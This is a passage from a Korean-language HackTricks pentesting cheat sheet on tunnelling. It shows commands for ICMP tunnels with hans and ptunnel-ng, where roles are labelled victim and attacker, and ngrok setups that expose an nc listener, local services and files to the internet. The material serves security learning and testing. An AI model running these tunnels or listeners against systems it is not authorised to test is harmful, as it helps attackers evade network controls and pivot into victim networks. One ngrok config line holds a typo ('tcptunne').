-f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` ### ptunnel-ng [**์—ฌ๊ธฐ์—์„œ ๋‹ค์šด๋กœ๋“œ**](https://github.com/utoni/ptunnel-ng.git). ```bash # Generate it sudo ./autogen.sh # Server -- victim (needs to be able to receive ICMP) sudo ptunnel-ng # Client - Attacker sudo ptunnel-ng -p -l -r -R # Try to connect with SSH through ICMP tunnel ssh -p 2222 -l user 127.0.0.1 # Create a socks proxy through the SSH connection through the ICMP tunnel ssh -D 9050 -p 2222 -l user 127.0.0.1 ``` ## ngrok **[ngrok](https://ngrok.com/)์€ ํ•œ ์ค„์˜ ๋ช…๋ น์–ด๋กœ ์†”๋ฃจ์…˜์„ ์ธํ„ฐ๋„ท์— ๋…ธ์ถœํ•˜๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.** *๋…ธ์ถœ URI๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:* **UID.ngrok.io** ### ์„ค์น˜ - ๊ณ„์ • ์ƒ์„ฑ: https://ngrok.com/signup - ํด๋ผ์ด์–ธํŠธ ๋‹ค์šด๋กœ๋“œ: ```bash tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin chmod a+x ./ngrok #ย Init configuration, with your token ./ngrok config edit ``` ### ๊ธฐ๋ณธ ์‚ฌ์šฉ๋ฒ• **๋ฌธ์„œ:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). *ํ•„์š”ํ•œ ๊ฒฝ์šฐ ์ธ์ฆ ๋ฐ TLS๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.* #### TCP ํ„ฐ๋„๋ง ```bash # Pointing to 0.0.0.0:4444 ./ngrok tcp 4444 # Example of resulting link: 0.tcp.ngrok.io:12345 # Listen (example): nc -nvlp 4444 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 ``` #### HTTP๋กœ ํŒŒ์ผ ๋…ธ์ถœํ•˜๊ธฐ ```bash ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` #### HTTP ํ˜ธ์ถœ ์Šค๋‹ˆํ•‘ *XSS, SSRF, SSTI ๋“ฑ์— ์œ ์šฉํ•จ...* stdout์—์„œ ์ง์ ‘ ๋˜๋Š” HTTP ์ธํ„ฐํŽ˜์ด์Šค [http://127.0.0.1:4040](http://127.0.0.1:4000)์—์„œ. #### ๋‚ด๋ถ€ HTTP ์„œ๋น„์Šค ํ„ฐ๋„๋ง ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ #ย With basic auth ./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword" ``` #### ngrok.yaml ๊ฐ„๋‹จํ•œ ๊ตฌ์„ฑ ์˜ˆ์ œ 3๊ฐœ์˜ ํ„ฐ๋„์„ ์—ฝ๋‹ˆ๋‹ค: - 2 TCP - 1 HTTP, /tmp/httpbin/์—์„œ ์ •์  ํŒŒ์ผ ๋…ธ์ถœ ```yaml tunnels: mytcp: addr: 4444 proto: tcptunne anothertcp: addr: 5555 proto: tcp httpstatic: proto: http addr: file:///tmp/httpbin/ ``` ## ๋‹ค๋ฅธ ๋„๊ตฌ ํ™•์ธํ•˜๊ธฐ * [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) * [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) {% hint style="success" %} AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks ์ง€์›ํ•˜๊ธฐ * [**๊ตฌ๋… ๊ณ„ํš**](https://github.com/sponsors/carlospolop) ํ™•์ธํ•˜๊ธฐ! * **๐Ÿ’ฌ [**Discord ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋˜๋Š” [**ํ…”๋ ˆ๊ทธ๋žจ ๊ทธ๋ฃน**](https://t.me/peass)์— ์ฐธ์—ฌํ•˜๊ฑฐ๋‚˜ **Twitter** ๐Ÿฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**๋ฅผ ํŒ”๋กœ์šฐํ•˜์„ธ์š”.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นƒํ—ˆ๋ธŒ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— PR์„ ์ œ์ถœํ•˜์—ฌ ํ•ดํ‚น ํŒ์„ ๊ณต์œ ํ•˜์„ธ์š”.**
{% endhint %}